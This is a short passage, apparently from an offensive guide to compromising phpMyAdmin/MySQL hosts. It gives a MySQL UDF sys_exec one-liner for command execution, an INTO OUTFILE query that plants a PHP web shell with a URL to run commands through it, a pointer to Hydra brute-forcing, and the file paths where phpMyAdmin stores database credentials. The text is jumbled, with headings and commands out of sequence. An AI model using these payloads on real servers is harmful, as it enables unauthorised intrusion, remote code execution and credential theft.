Use Hydra or a simple Python script. A one-liner:
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); Requires plugin directory write access. Most shared hosting disables this. Part 4: Privilege Escalation via phpMyAdmin Itself 4.1 Config File Disclosure The config.inc.php file contains database credentials and sometimes auth keys.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" Then access: http://target/shell.php?cmd=id
/var/lib/phpmyadmin/config.inc.php /etc/phpmyadmin/config.inc.php /usr/share/phpmyadmin/config.inc.php